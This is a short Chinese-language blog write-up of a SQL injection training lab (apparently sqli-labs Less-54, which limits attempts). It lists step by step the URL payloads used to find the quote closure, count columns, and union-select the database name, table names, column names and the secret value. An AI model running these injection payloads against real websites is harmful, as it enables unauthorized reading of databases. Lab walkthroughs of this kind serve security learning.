SQL注入 Less54(限制次数的SQL注入+union注入)
2022-07-31 02:27:00 【开心星人】
限制次数的SQL注入
每次reset,数据库的表名、字段名和数据都会发生改变
?id=1
?id=1'
发现没有报错信息
?id=1"
回显正常,直接排查双引号开头的闭合方式
?id=1'--+
?id=1')--+
?id=1'))--+
单引号回显正常,所以是单引号闭合
?id=1' order by 3--+
回显正常?id=1' order by 4--+
回显错误
所以有三列
?id=-1' union select 1,version(),database()--+
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="challenges" and table_name="470aojlrx1")--+
?id=-1' union select 1,2,(select group_concat(id,sessid,secret_KJU8,tryy) from 470aojlrx1)--+
